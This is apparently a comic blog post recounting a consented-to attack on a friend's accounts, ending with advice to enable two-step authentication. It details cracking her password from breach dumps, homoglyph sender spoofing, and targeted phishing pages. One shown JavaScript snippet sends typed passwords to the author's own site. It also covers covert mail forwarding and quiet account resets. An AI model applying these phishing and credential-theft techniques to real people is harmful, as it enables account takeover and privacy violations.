For me that would set off all kinds of alarm bells and I'd start furiously investigating what's going on with all my accounts because I'm very cool and collected. But I'm just going to hope that Diana is a normal human being who is not obsessively paranoid like me and just ignores all of those pesky automated emails from Apple and Microsoft being like "blah blah account blah" or "blah blah new sign in blah" because I mean who really has time for those we've all got places to go and phones to scroll I mean reallY who's gonna pay attention to one liTtlE email when there's a whole OCEAN of low quality memes to scroll past on Facebook? I mean wouldn't you rather see some nice political memes? Newsfeed alert: Some guy from high school has just been tagged in- oh wow lOok this one's about your local government, wowee they've even managed to use the meme font while standing their ground and writing all the text as though it's a trying-to-sound-formal letter from your school principal who is still desperately trying to combat cyberbullying using nothing but stern words and beginning every sentence with "In regards to...."

There's no way for me to know if she saw the notification, so I stop rolling around on the floor whispering about low quality memes and get back to work.

Several days later

My phone rings. I can feel the vibration in my pocket and I'm like "is someone calling me here in the year of our lord 2017 I can't believe this". I don't recognise the number.

"Hello?"

"Hi, who am I talking to?"

"It's uh Alex."

"Alex?"

"Yeah."

"Alex ``?"

"Uh, noooo it's-"

"Ohhhhhhhhhhhhh."

"Wait so who am I talking to?"

It's Diana.

"What's up?", I ask.

She explains to me how she got an email from Apple about her account and there was a phone number in it. I tug my collar several meters into the next room, knocking over several carefully-potted indoor plants.

I hit pause on this whole thing, immediately own up, and say "yep, that was me, no need to worry, and I didn't get anywhere, your iCloud account is safe and s- WAIT a minute are you telling me you got an email from Apple saying someone tried to reset your account, realised it wasn't you, saw the phone number, and then CALLED it? What was your plan if some hacker answered??"

She didn't have a plan. She just called it as soon as she saw it, the absolutely off-the-rails lunatic.

We have a nice chat and agree to hang out later. She asks me if I've "hacked her already", and I say "no comment" to preserve my so-far flawless operational security.

Before I hang up, I wanna show off my work so far.

"Hey Diana, one more thing"

"Yeah?"

"Check it out. Did you ever play a game called........ Fashion Fantasy Beach?"6, I say, coolly and relatably.

Diana freaks out and starts laughing. She's forgotten about this game and me reminding her of her account brings back good memories.

"Can you like, find all the accounts I had on all those game websites?"

Sweet young Diana. If only it worked that way. Hacking can only be used for stealing government secrets and ransoming bitcoins. It's just not that simple.

"By the way, just checking, it's still okay for me to try and hack all your stuff right?" "SO okay"

Part 2: Hackinggggg

At this point I could reset Diana's password for some services by answering her "Security""" Questions with all the information I've gathered.

But, I realise, far too late and to the live studio audience's disappointment, that would violate the "don't interfere with her daily life" part of our deal. If I reset her password, this will lock her out of whatever account I reset. So, I have to get access stealthily. This will uh heavily involve knowing her password rather than resetting it.

For a long time I consider doing the renaissance-era "send 'em a word doc with a macro in it to get control of their computer then submit to defcon" but I worry that sweet young millennials like Diana don't even use Word because they do everything on their phone or Google Docs while simultaneously consuming 17.28 avocados per second look it up.7

I guess that makes the most valuable thing in her life her email. If you remember earlier, I cunningly divined her email address in Part 1, so I'm basically halfway there. If I get her email, I can just reset her password for Facebook, Twitter, Fashion Fantasy Beach, etc. My cyber attack vector cyber entry point exploit would then be typing the password into the Hotmail login screen using the Google Chrome Web Browsing Software.

The shady password market

Alright listen we're about to go into password paradise so buckle whatever it is you normally buckle. Hackers right, they hack websites. Hoo boy they just love to pop those hypertext pages. Like Dropbox, MySpace, LinkedIn, Adobe, Tumblr, and many, many more. They try to steal everyone's username and password from these sites by making a copy of the database and taking it. Sometimes, the database of usernames and passwords they steal gets released on the ~dark web~, for free or for money. Conveniently, there's a website (https://haveibeenpwned.com) which lets you type in your email address (not your password you big bozo) and find out whether any of your passwords have appeared in these leaked stolen databases.

But.... nowhere does it say you have to type in your email address. Cunningly, I type [email protected], executing hacking.

Here we can see a couple of websites Diana has accounts on have been hacked. The only one which had passwords stolen for Diana was Tumblr. So the next goal is to acquire the Tumblr database leak from 2013.

Let's get the old Tumblr database

I try to use my ~hacker connections~ to get a copy of the Tumblr database. I meet a someone whose forum handle is like d4rkrayne or whatever in a local park at 11pm. A colossal vape cloud leads me to him, waiting under a tree, puffing furiously. I look down my 1987 mirror-tinted aviators and say "how much?" (my voice comes out several octaves lower and all grizzly like a 40-year-old generic white dude movie star with like, juuust the right amount of stubble). He sells me the database on a pile of 442 floppy disks for 5,000 credits. What a ripoff. I teleport behind him, say "nothin' personal, kid", and hoverboard-kickflip into the night.

...I download the Tumblr database from a publicly accessible, unauthenticated, absolutely non-dark web website. I scramble to get back in my black hoodie, and whip on a second pair of sunglasses over the first. I'm in.

Ancient forbidden password rituals

The Tumblr database dump - a hacking Quest Item - is one long file with lines that look like this:

[email protected]:3a1920ceb2791d034973c899907847cb58810808

That weird thing after the email is a password hash. A password hash is like a scrambled up version of the password. You can't unscramble it. If you know the password though, you can scramble it and get the same omlette, if ya know what I'm sayin'🍳.

My goal here is to figure out what Diana's actual password is, given that I have her password hash. This process is commonly known as "hacking".

These particular passwords are not just hashed, but also salted8. This means that before each password is hashed, the good folks at Tumblr added an extra bit of text to the end of each one. So instead of hashing, say, cooldad64, they'd hash cooldad64HNc62V8.

Finding the salt

There's no official information on what kind of hashes are in Tumblr.txt.

The fully sick attack I want to do is: hashing a big list of passwords I just happen to have lying around wow and checking if any of the hashes match Diana's password hash. This is called a "dictionary attack", because the person who invented it was actually a dictionary. The trouble is, you need to know the salt to do this.

I google around some more, bask in the glory of very poorly constructed sentences on some ~hacker forums~, and ask my ~hacker connections~ in an attempt to find out what the salt is.

But I can't find it because fun fact I'm a total fraud.

Can I get the password... without the salt?

So remember how Tumblr salted the passwords by sticking some random stuff on the end to thwart wannabees like me?

The trouble is.... They stick the same thing (in my example, HNc62V8) on the end of every password. This isn't considered the best practice here in the year of our lord 2017, because it means that users with the same password have the same password hash. The emails and passwords would look like this:

[email protected]:cooldad64HNc62V8 [email protected]:cooldad64HNc62V8 [email protected]:p@triots69HNc62V8 [email protected]:Bongo1HNc62V8

I search Tumblr.txt for not [email protected], but for her password hash. (3a1920ceb2791d034973c899907847cb58810808)

I find more than 20 Tumblr users with the same password as Diana aw yeah

[REDACTED]@email.com:3a1920ceb2791d0... [REDACTED]@email.com:3a1920ceb2791d0… [REDACTED]@email.com:3a1920ceb2791d0… [REDACTED]@email.com:3a1920ceb2791d0…

This makes me think that Diana's password is probably not very unique, since all these other Dr. Who enthusiasts on Tumblr have also thought of it.

But also. Now I've got 20 other email addresses with the same password as Diana. Thanks to the miracle of everyone using the same password for everything, I've got a way to find Diana's password.

I just so happen AGAIN WOW WHATTA GUY to have the LinkedIn database dump from when LinkedIn was 360 whirlwind slam hacked in 20129.

Why do I care about the dump from the LinkedIn hack, you ask, fatigued from many gags and desperate for the part where we actually hack Diana?

LinkedIn also hashed their passwords in 2012, but they didn't add that freshly ground pink Himalayan rock salt to them. Also, the password hashing method they used is cripplingly insecure10 (SHA1 for all you extremely online people out there). Because of these flubs, most (>97%) of the passwords in the LinkedIn dump are available in plain text, not even hashed at all thanks to the hard work and GPU cycle donations of people in the password cracking community.

I get the 20-ish Tumblr emails who have the same Tumblr password as Diana, and look them all up in the LinkedIn dump. They're not all in there, but good enough baybee.

[REDACTED]@email.com:qwerty1 [REDACTED]@email.com:killer6 [REDACTED]@email.com:qwerty1 [REDACTED]@email.com:qwerty1

More than 80% of them have the same LinkedIn password. (Which we will say is qwerty1.)

This has gotta be Diana's password from Tumblr in 2013. Since all these people had the same password on Tumblr, and most of them have the password qwerty1 on LinkedIn, it's very likely that Diana's Tumblr password is qwerty1.

I try to log in to her Hotmail account with the password qwerty1.

"Incorrect password"

Wait please this was supposed to be easy please no why is it like this don't do this to me

Oh come on I was supposed to be hacking a normal person who uses the same password for everything this isn't fAiR. There are entire criminal industries built on the idea that people use the same password all over the place because nobody cares enough to remember more than a few passwords because they've got things to scroll on their phone okay.

Somehow, Diana is one of the rare few people who is not a security expert but has more than one password for her stuff.

I try this password on a few of her other accounts (Facebook, Twitter, iCloud) and it works on none of them11.

On Facebook, I'm conveniently informed that this password was her password 5 months ago, but isn't any more.

Looks like I just missed out. The plot thickens audibly.

This was supposed to be the part where I say "and then I logged into her email 100% stealthily", equip my third consecutive pair of sunglasses, and move on to the next bit. But alas, Diana was only in one leaked password list on haveibeenpwned.com at the time, so there goes that.

Fiiiiiiiiiiine whatever I don't even care I'm not crying, you're crying. Time to do this the old fashioned way. And by "the old fashioned way" I of course mean "the way government hackers do it".

Part 3: Hackinggggg (again)

Social engineering

Alright so we're just going to trick her into telling me her password. Is that cheating? Basically. But absolutely I'm going to do it anyway.

To get into her email, I need to know Diana's email password. Resetting the password won't work (since that would interrupt her life by locking her out of her email). I don't really wanna follow her around, man-in-the-middle attack her phone or laptop when it connects to insecure WiFi and steal her browser session, so that leaves us with: phishing.

You may have heard of "phishing", the process of emailing someone and tricking them into doing something, like giving you their password.

Now, hold up bucko, you're probably thinking of the kind of phish where someone says "good day sir I nigerian prince give you $1 million dollars USD u are royalty 2 me" etc. etc.

Or maybe you're thinking of someone sending an email that says "[heavy breathing] pls clikc on my urls http://click.here.to.get.ripped.in.three.weeks.verylegit.link/6x9M;PjxrY=WrS33n$Hcracked__767windows8+bitcoin.gpg.exe"

But with nothing more than paperclips, chewing gum, a single fidget spinner, and an advanced psychology degree, we can not only steal Diana's password, but do it without Diana realising she's been tricked.

Hand-crafting artisanal phishing emails to sell at the Sunday markets

Let's write down what we want to do:

Get Diana's email password

Don't let her realise that the email is not legit

Hmm I guess there were only two dot points uhh sorry that doesn't seem worth having dot points at all ummmm

So anYwAy the trick to phishing is that you don't want to engage the victim's attention. You want them to interact with your email mindlessly, without thinking it's a big deal. Kinda like how you click through email notifcations from Twitter (or anything that sends you email notifications) without really thinking about the email, because you're thinking about what awaits on the other end.

The other way, rather than distracting the victim, is to misdirect them. You give them something that's way more interesting to pay attention to than your dodgy link. Common examples of this include emails that say "OMG your account has been HACKED, log in here to fix it".

But of course, you log in to a fake website which steals your password.

Wow actually that sounds pretty12 easy13 doesn't it? Let's try that then.

I'll make an email that says "Your Microsoft Account Has Been Hacked And Uh If You Don't Log In Now It Will Get Deleted So Uh Yeah You Better Log In".

Instead of designing my own legit-looking Microsoft email, it's easier to just copy one that Microsoft has already made. I search my hotmail account14 for an automated email from Microsoft.

I use the incredibly cutting edge "Inspect Element" feature of the popular hacking software, Google Chrome, to edit the text of the email but keep the look. As I right click and hover over "Inspect Element", my laptop instantly explodes, I get root access to Microsoft, I'm added 50 times to every NSA watchlist, my text permanently changes to green-on-black, and I'm accepted to DEFCON.

Now it looks like this:

I can't send the email from my email account, because I'm not a total amateur. I use the popular hacking tool The Microsoft Sign Up Screen to make the hotmail account "[email protected]". If you look closely, "account" is spelled wrong. I used "msft" because it wouldn't let me include the word "microsoft".

I try to register an account with first name "Microsoft" and last name "Account Team". The signup form doesn't let me. Blast. Thwarted by Microsoft lackeys. Probably, Microsoft doesn't let you have "Microsoft" in your account name to prevent, uh, exactly what I'm doing. Hmmm. I don't really want to have a typo in the name, like "Micorsoft", since Diana might notice that.

Instead I, a level 8 Wizard, cast a spell to swap the "o" characters in "Microsoft" for a special unicode character (like an emoji but much worse) that looks exactly like an "o". It's not, of course, it's our old friend, the Greek letter "Omicron". Here's the two pals side-by side:

οo

Awww, just look at 'em having a blast. These little guys might look different in the font your device is using, but in the hotmail web UI font they look juuuust right👌.

So now, my account's name isn't "Microsoft", It's "Micr[omicron]s[omicron]ft", according to the code that checks whether you have a valid name when you sign up for an account.

I'm sure you're wondering how this whole process ends up with me getting Diana's password, laughing manically in my comically giant leather chair. After she clicks the link in my legit looking email, she'll be asked to log in15. The page she goes to will look just like the Hotmail login page, but it will really be a copy that sends the password to me.

How can I make such a page? Well I'll clone the real page, register a domain that looks similar to login.live.com, host my cloned page there, and so on. Juuust kidding, the static website hosting service Aerobatic happens to also be an excellent phishing service.

I can register [anything].aerobatic.io, and deploy my static HTML to that domain with their command line tool for free.

Shout outs to Aerobatic for the smooth smooth phishing UX. Use the referral code DIANA to be immediately reported to the NSA.

I copy the existing login.live.com page, and pre-fill [email protected] in the "email address" field. I deploy this page extremely trivially to login-live.aerobatic.io, and equip my fourth pair of sunglasses (don't worry I've earned it). This almost looks right, but the real Hotmail login form has a bunch of stuff after the / in the URL, so I copy/paste some of that good stuff too16.

Here's the exact URL, if you're interested. Also if you're not interested. It's gonna be there either way.

https://login-live.aerobatic.io/?passive=1209600&continue=https%3A%2F%2Faccounts.live.com%2FManageAccount&followup=https%3A%2F%2Faccounts.live.com%2FManageAccount&flowName=GlifWebSignIn&flowEntry=ServiceLogin

Perfect17. This looks similar enough to fool a cursory glance, and that's all we need baybee. Maybe she'll think "why do I have to log in again? I'm already logged in to my email?", but the email asks for a "Secure Login" (whatever that is).

Here's what the login page does:

// When the Login button is clicked or Enter is pressed $('#passwordForm').on('submit', function() { var password = $('#password').val(); // Create an image with a URL that points to my website. // The browser will request this URL in an attempt to load the image (which will fail since that URL doesn't exist) $('body').append('<img src="a-website-i-own.com/DIANA?'%20+%20password%20+%20'" alt="image">'); // Wait one second to simulate loading time (adjust to 0.1s if you don't live in Australia sigh), and then go to the real Hotmail login page. // Diana will already be logged in, so this will seem to her exactly like she's just logged in to hotmail. window.setTimeout(function() { window.location = 'login.live.com' }, 1000); return false; }

This works by sending her password to me when she clicks "log in". The password is sent a website of mine. Then I send her along to the real Hotmail, so it looks just liked she logged in. The website logs everything that gets sent to it, so I can then search my logs for "DIANA" to find the log containing the password.

This is all what I'm hoping for, anyway. The email says she has 48 hours to comply to create time pressure. Telling you that you have to do something right now is a common tactic to make you think instinctively and irrationally.

I login to my fake "Microsoft Account Team" hotmail account, send the email to [email protected] and wait for her to have herself a red-hot browse.

About 12 hours later, I check my logs to see if she's typed her password.

She doesn't.

I wait another 12 hours.

Still nothing.

I send the email again, wincing slightly, this time saying she has 24 hours.

Still nothing.

Well damn

I guess that didn't work. She must have just ignored the email as uninteresting18

I try to think of non-phishing ways to get her password but really phishing is just too good. The nice thing about being the attacker is that you can put your eggs in many baskets. Diana has to defend against all of my eggs, and I've got baskets for days. Time for round 2.

Sniper scope targeted phishing blap blap

I reach under my desk, unwrap a parcel addressed to "DIRECTOR OF CYBER, NSA", slide out a yellow and black canister labelled "CHINA", break open the safety seal, and use safety tongs to extract the following red-hot phish.

This time, instead of using a generic idea that would work on anyone ("suspicious account activity"), we'll make something special just for Diana. Kinda like hand-knitting a beanie, but comparatively less wholesome.

I Google "google docs microsoft equivalent" and come across I dunno SkyDrive or SkyDocs 365 Pro or something or OneDrive look I dunno just look it's Google Docs but Microsoft so good enough for me.

I make a convincing looking resume (in Google Docs, of course) and copy it into a OneSkyCloudDrive 364/2 Days: Final Remix HD+ Doc.

Let's play: who's gonna send this doc to Diana?

I find a local company that's likely to legitimately want to talk to Diana, and search for a recruiter who works there on LinkedIn. I make someone with the same first name, but a different last name as a real recruiter from this company19.

I make a fake gmail account called Kathleen Wheeler, using a stock photo of a middle-aged western woman as the profile photo.

Here's what Kathleen is going to email Diana.

Looks legit riiiight?

The questions at the end are just some garbage I made up, but the point of them is to distract Diana right after she reads the "click here".

I put Diana's real phone number at the end to make it more convincing. This email is obviously meant just for her. It also makes sense for the phone number to be there, since presumably whoever listed Diana as a referee gave the phone number to Kathleen.

At the time she types her password, we want Diana to be thinking of what's on the other side of the login screen.

The delicious bait here is that this email says "someone said they know you", and you have to read the resume to find out who. Aw, but the resume is behind a pesky link. ~Guess you better just click on it~. LinkedIn also does this in their, um, "engagement" emails which say things like "you have 2 new messages", but not who they're from or what they say.

When Diana clicks on the link to the "resume", it will take her to the same fake login page (with her email pre-filled) as before. When she types anything in the password box, the site will wait one second and then send her to the Microsoft Google Doc™. The one-second wait is to simulate Australian internet speeds HAHAHAHAhahahahahah this sucks

She'll find that she doesn't know the person, probably because they're completely made up. They have work experience at real workplaces nearby, and went to the same university as Diana at around the same time, so hopefully their resume passes a cursory glance20.

Finding an unfamiliar resume is a sufficient, but not particularly satisfying conclusion to the adventure of the weird email from Kathleen. But of course, by then it's too late, I'm sitting in my ivory tower surrounded by passwords.

I make sure to send it during business hours, from "Kathleen""", pull a necklace from under my shirt dramatically, kiss it, look up at the sky, and wait.

Waiting

That night, I check my website's logs for any passwords from my fake Hotmail login form.

- - [[date]:16:32:30 +1000] "GET /DIANA?qwerty1 HTTP/1.1" 404 4702 "https://login-live.aerobatic.io/?passive=1209600&continue=https%3A%2F%2Faccounts.live.com%2FManageAccount&followup=http...." "Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1"

"Got it!"

..... is what I think, at first.

Particularly keen readers will have noticed that the password Diana has typed into my fake Hotmail login page is... the same password as we found for her in the Tumblr database.

This is not her Hotmail password, and everything is terrible.

From this we can draw two conclusions:

Diana doesn't know what her Hotmail password is

She now thinks her hotmail password is qwerty1, since she typed it into my fake login page which accepts any password, and it worked

I almost gave up at this point, but a last-minute burst of desperation/frustration/final destination helped me work up the courage to have another shot here in Act 3.

By this point my fake Microsoft Account Team email account has been soft-banned by the good people at William Gates Inc. for sending so many obvious phishing emails. I have to prove I'm a human and add my phone number to the account, and then it unlocks and I can edit the Microsoft Google Doc.

I hastily make a new fake resume of significantly lower quality than the first one, and make a crucial change to my fake login page.

My fake login page now says "wrong password" no matter what you type in the first two times you try typing something. If you type qwerty1, then the password counter doesn't go up21.

What do people do when they get a "wrong password" error? Try all of the 3 or 4 passwords they use for everything, of course.

I want to try and get Diana to type qwerty1, get a "wrong password" error, and then just unload all her passwords into my form.

Diana replied to my failed email with "sorry I don't know this person", and so Kathleen replies with, "wrong resume lol, here's the new one" even though this makes zero sense in the context of our email exchange. I'm hoping Diana will just be busily checking the email on her phone and not really notice this discrepancy.

I use a different font from the "form" when typing as Kathleen to make it look like this is a form that gets copy/pasted to every candidate. This makes Kathleen seem like she does this all the time in her big bustling, 100% real office. I also do my best to imitate the tone of a polite but stressed out office worker. You can almost hear the office politics. It's called method acting.

Time to stressfully wait for Diana to check for her email again, so now would be a good time to read out some donations.

Hours later

It works.

108.162.249.169 - - [12/May/2017:13:39:43 +1000] "GET /DIANA?wertyu2 HTTP/1.1" 404 4702 "https://docs-login-live.aerobatic.io/?passive=1209600&continue=https%3A%2F%2Faccounts.live.com%2FManageAccount&followup=https%3A%2F%2Faccounts.live.com%2FManageAccount&flowName=GlifWebSignIn&flowEntry=ServiceLogin" "Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1"

I get only one password from Diana (typed multiple times), but it's different to the last one I got (qwerty1)22.

I wait until she's asleep based on her Facebook Messenger last active time and log into her email using the elite hacking method of typing her password into the box.

The reason I waited until she was asleep was in case Hotmail emailed the account saying "New Sign In". It doesn't, and I'm rewarded with her email inbox screen in its full glory.

Angels sing softly above me. A small yellow bird lands on my shoulder and begins to chirp softly. I get several emails from the bullies in high school - they're really sorry and they've done a lot of soul searching and they want to make it up to me and I should expect premium fruit baskets on my doorstep in the coming months. Global warming halts.

"But that would never work on me"

It would tho.

Perhaps some of you in the audience are thinking "Wow, this Diana person must be pretty dumb to fall for that. Good thing I'm a web browsing prodigy with a colossal brain and many opinions, so that would never happen to me."

The thing is, right now you're very alert, because you're reading a blog post about hacking. If you were just reading your email, half-paying-attention on a train as normal, security wouldn't likely be on your mind. If sending trick emails is good enough for whoever the NSA, are emailing, then it's probably good enough to work on you and me.

I guess what I'm saying here is "don't go shaming phishing victims plz".

Anyway sorry back to haͅck͐i̥n̏g̜

Part 4: HACKER VOICE I'M IN

I immediately try Diana's email password (wertyu2) on her Facebook, Twitter, LinkedIn, iCloud, and on her other email addresses. None of them work because I've chosen someone with slightly above average personal security to target.

The obvious next step is to forward all her email to me (so I don't have to keep logging in to her email). Before I set up email forwarding, I try it out on a hotmail account I control. I'm testing to see if setting up "forward all your email to this address" sets off any notifications I'll have to delete, or notifies you in any other way.

In gmail, when you forward all your mail to another email address, the other address gets emailed a code, and also a big red bar appears on your gmail inbox saying "you're sending literally all of your email to this address FYI" for 7 days.

I type in my email address into my test hotmail account, and click "forward all my mail here pls". It saves. I check both email inboxes for a notification email. There isn't one. I've just backdoored this email account and no fuss has been made whatsoever. OH well at least hotmail has NoMansSkyDrive 2.8 Remastered XL Online or whatever.

An interlude from Diana

Diana replies to my email saying she doesn't know this person either. She's a little suspicious, so I try and say something that will close the conversation.

Diana doesn't reply.

Hey remember how you can search email?

Now that I have Diana's email password, I want to search her email for more passwords, and use those passwords to get more, and so on, like a REAL hacker.

Try going to your email and searching for "password". Betcha there's passwords in there.

In Hotmail, when you go to search something, the last 5 searches you've done pop up as suggestions.

This means that if I search for "password", Diana will notice "password" in the search history. That would be a really lame way to get caught.

To get around this, I: * Wait until Diana is asleep * Write down her last 5 searches * Search for "password" * Look at the results * Search for her last 5 searches again, in reverse order

Since only the last 5 searches are shown, by repeating the searches in reverse order, the search history looks exactly the same.

Much to the disappointment of the live studio audience, I don't find anything particularly useful. I find the two passwords I already know (qwerty1 and wertyu2) several times, and one other password which I again try on all her accounts, but doesn't work </3.

I hang out in Diana's email for several months. Every so often I check it. I find her signing a contract for a job, and so I get her passport number, signature, phone number, bank account number, and basically everything I'd need to impersonate her. I don't really232425 want to impersonate someone's government-issued ID, so I leave this alone.

At one stage, I'm browsing through hit political discourse platform and opinion conveyor belt twitter dot com, and I notice Diana tweet something along the lines of "Finally spent my day off consolidating my 4 email accounts into 1, feels good to be organised".

I panic a little. Have I been found out? I log in to [email protected] (which still works, thankfully) and see that all her emails have been archived. I poke around in the email forwarding settings, and I see that things have changed. Her email is no longer being sent to my email address, it's being sent to [email protected] (presumably the new email that Diana now forwards all her mail to).

This raises an important question. How did Diana not notice my email address in the "forward all mail to:" box? Did she see it, and just mindlessly delete it?

(When I interview her after all this, she says yes, that's exactly what she did.)

What now?

Normally it would end here. Mission accomplished. I'm in control of her email. I could cause catastrophic damage to Diana's life if I wanted to (I don't btw). There's potential for endless gags, limitless goofs, unlimited japes, infinte jests, etc.

But.. it seems like an awful shame to just... leave. That's why I start work on a little' somethin' called

Operation Luigi

Everybody just LOVES Mario's green friend Luigi! He's a Certified Good Boy! Just look at that boyish charm.

Why not brighten up YOUR social media presence with this game boy?

Well gee I'm sold after that delightful interlude from our sponsor, The Nintendo. Let's get Diana some uncut, Colombian Luigi.

Step 1: Get in to her Twitter and LinkedIn

So, I want to:

Get access to Diana's Twitter

Not lock Diana out

Not alert Diana that I'm up in her stuff

I could just phish her again for these passwords, but I'm already a salty old fisherman by this point.

Since I have access to her email, I could reset her Twitter password. The problem is, when you reset your Twitter password, you get logged out of Twitter in Chrome, the Twitter app, and anywhere else you might be logged in. So you have to retype your new password. One of my rules was that I wouldn't interrupt Diana's life, so I need her to be able to log back in to Twitter when I force her to log out.

I come up with a simple 8-step plan to do this, with 4 easy repayments of 2 steps.

Wait until Diana is asleep

Disable Diana's email forwarding

Go to Twitter and reset her password

Click the password reset link that gets emailed to her

Set her password to qwerty1

Delete the password reset email

Delete the "New Twitter Sign In" email

Re-enable email forwarding

The combo move in this is setting her password to qwerty1. When I phished her email password, she tried to log in to her email with qwerty1 even though that's not her password. This tells me that she thinks her password for everything is qwerty1, or at least, that's what she'll try if she's not sure. The technical term for this is next-level mindgames💻💻💻.

I do the steps above, and I'm now logged in to Diana's Twitter account. I tigheten up her Twitter security settings because I'm a Good Boy. I HOPE that Diana will be able to log back in as well, and not wonder why she suddenly got logged out. I wait stressfully for her to tweet something, and after a day or so she retweets a cute doggo, so we're good to go.

Now I want to do the same thing on popular dating website LinkedIn. This will involve signing Diana out of LinkedIn on all her devices, and I don't want her to get too suspicious, so I wait a week. I do the same process as with Twitter. This time I don't even wait until Diana is asleep, because I'm young and invincible.

As I'm setting Diana's password on LinkedIn back to qwerty1, LinkedIn doesn't let me.

Is this because qwerty1 was a password present in the LinkedIn hack in 2012? Or because it's just a common password? For a brief moment I panic, but then I realise I can just set Diana's password to her email password, wertyu2.

Astute readers will have noticed this little guy in the screenshot above.

LinkedIn is asking me if I'd like to log out of Diana's LinkedIn account on all devices while I'm resetting the password. That's REAL nice of you to offer old mate LinkedIn but I'm absolutely golden as it is in terms of logouts so don't even worry about it I'll be just fine how it is NO REALLY don't trouble yourself, I'm sure your CPU cycles are busy displaying everyone's 6000 word Thinkpieces about "Cyber" for "Non-technical Business Decision Makers".

Yeah so I submit that form 100% checkbox-free, and Diana remains logged in to LinkedIn on all her devices, none the wiser.

Step 2: Bring in the green boys

I enlist the help of a talented friend to photoshop everyone's #1 boy next door Luigi subtly into Diana's profile picture on Twitter, like a green guardian angel.

I can't show you Diana's pictures, so here's me doing similar photoshops to Your Boy And Mine, Five Time Celebrity MasterChef Winner And The Inventor of Bitcoin, Give It Up For Dr. Barack Obama Everybody:

At about this time I tweet about our sweet green boy so that if Diana sees her guardian angel Luigi, she'll know it was me. This is like my calling card except.... well it's not really like a calling card it's pretty dorky to be honest but just LOOK at that wholesome lad, you just KNOW he'd help you fix a flat tyre, and he'd just be too gosh darn polite to correct you if you said "thanks green mario" so really if you think about it I guess it IS like a calling card.

Next up I log into her LinkedIn account, get overwhelmed by her 15 LinkedIn notifications, 7 new profile views, 11 new Key People To Bother, and several pop ups telling me about new features I can use to invite people to join my professional network on LinkedIn™®©. Then I change her profile picture to my really good version.

For about a week, Diana continues her Twitter and LinkedIn(?) usage whilst being silently Luigi'd. Diana goes on viewing what I can only assume to be the sharpest international political discourse on Twitter, and getting slightly more LinkedIn profile views from observant recruiters who are also fans of the hit 2001 ghostbusting game, Luigi's Mansion.

Well that just about wraps up Operation Luigi. Glad that's all done and dusted.

Although...

I'm basically a Luigi technician at this point, and it would be a shame to let all that work go to waste. So let's just do

~one more thing~

Operation Waluigi: A dark turn for mature audiences

Waluigi, true to his character, is much more direct.

Damn RIGHT this new profile strength is "Advanced."

Please enjoy these half-baked opsec-enabled26 tweets27.

I also make Diana follow a bunch of Waluigi fan accounts (there are a lot), Nintendo of America, and @EmojiAquarium because it's a damn good account.

Part 5: Epilogue

Diana likes her new Waluigi life so much she keeps it all up there, and even changes her Facebook photo to a Waluigi'd one.

I meet up with her and ask her about her side of the story a few days later.

Here are some choice quotes:

"I've since listened to a lot of Waluigi songs" "Waluigi is the ultimate symbol of postmodernism, he exists only as a foil"

I ask her "How do you think I did it?". She says I must have hacked her email and reset her Twitter password, but she has no idea how I hacked her email.

When I show her the email chain with Kathleen on my computer her jaw drops for several seconds.

"You catfished me!"

We go back to the same ramen place after the interview. The credits roll.

"wait but i am very afraid after reading this blog post, how do I not get 360 noscope hacked like diana tho"

Hey kids, it's me, "Alex". We've had a lot of fun today, but now it's time to talk about the real issues. The moral of this story is that it's really easy for someone else to know your password. Fret not, for you are young and extremely online, and it's not too late for you yet.

Step 1: Go to https://haveibeenpwned.com and type in your email address. This doesn't actually do anything, it's just to instill sufficient fear in you.

Step 228: Go to your email and enable "Two-step Authentication". You can go to https://www.google.com.au/landing/2step if you use gmail. If you use Hotmail then I dunno, there's probably like a SkyCloud 360 X LIVE subscription you can buy that lets you do it.

Now, as well as your email password, you also type in a code from an app on your phone. Or you can have the code SMSed to you on your pastel-pink flip phone if you wanna relive the 90s29.

If Diana had Verified Good Content Two-step Authentication turned on, then I would have had to get a two-factor code AND her password. I would have had to either:

Phish the code as well as the password (but the code expires in less than 60 seconds)

Physically go to the same place as her, connect to the same WiFi, and steal her browser session

Email her a Word Doc with a macro in it that gives me control of her laptop, and steal her browser cookies from it

Call up her phone provider and trick them into pointing her phone number at my SIM card

All of these are more work and higher risk, and so hackers often just move on to lower hanging fruit. That's you in this situation. You're the delicious fruit. And the hackers are.... giraffes? Yeah. Watch out for giraffes.

Freshly baked shoutouts to My Absolute Homeslices for being my blog-review senpais, Diana for being chill, and to the hacking software released at DEFCON 25: Aerobatic dot io

If you want to talk to me about this, hit me up in the tweet zone (@mangopdf) or direct your browser to mango.pdf.zone

A careless mistake ↩︎

Obviously the best way is to not give permission to meeeeeeeee😎 ↩︎

I found her LinkedIn by just googling her name #pwned ↩︎

wait did he just say "hacker voice I'm in"? ↩︎

I haven't realised yet that successfully resetting Diana's iCloud password would lock her out of her account and violate our agreement. This is because I'm a weapons-grade bozo. ↩︎

On haveibeenpwned.com, Diana's email address shows up in a data dump from this website. It's a game of some sort? ↩︎

Later when I interview Diana, she says "I use exclusively Google Docs", so I was right! No comment about the avocado thing. ↩︎

I'm not making these up, these are real words that real hackers use I swear. ↩︎

Diana didn't have LinkedIn in 2012, so she's not in the list. But some of the 20 people who had the same password as her sure did. ↩︎

tag urself lol ↩︎

I also try guessing what her password could be based on the password I already have for her (qwerty1) but it doesn't work. ↩︎

low ↩︎

effort ↩︎

From 2002 do NOT @ me ↩︎

This makes no sense, since she'll be reading her Hotmail, and then asked to log in to the same thing she's already reading, but NON-fake websites have bad enough UX that this is believable. ↩︎

I steal all that good stuff after the URL from the Google sign-in page ;>_> ↩︎

Awkwardly, Hotmail changed its login screen shortly before this blog post came out. It used to look like that I swear. ↩︎

There are a few reasons this email wasn't attention grabbing. It was automated, from a company (not an actual human), and wasn't specifically about her, but about her account. ↩︎

When I interview her later, Diana says she looked up the company! She even says that getting back to Kathleen was on her to-do list, the poor thing. ↩︎

Months later, I notice I've left a "Lorem ipsum dolor sit amet, consectetur adipiscing elit" as a dot point on the resume. ↩︎

This is a genius suggestion from one of my ~hacker connections~. ↩︎

At this point Diana has been completely gaslighted as to what her hotmail password is, because my phishing site said the wrong password was right, and then said the right password was wrong, and she thinks it's the real Hotmail. ↩︎

I mean it WOULD be pretty funny ↩︎

And wow you could do anything, book flights, get a job, change your name... ↩︎

Just letting any Government Agents reading this know that I did NOT end up doing anything with this and I love democracy. ↩︎

